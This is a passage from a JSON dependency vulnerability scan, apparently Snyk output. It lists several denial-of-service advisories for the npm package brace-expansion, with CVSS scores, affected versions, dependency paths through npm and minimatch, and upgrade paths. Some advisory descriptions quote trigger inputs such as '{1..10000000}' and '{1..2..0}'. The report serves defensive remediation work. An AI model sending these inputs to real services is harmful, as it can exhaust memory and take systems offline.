"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": 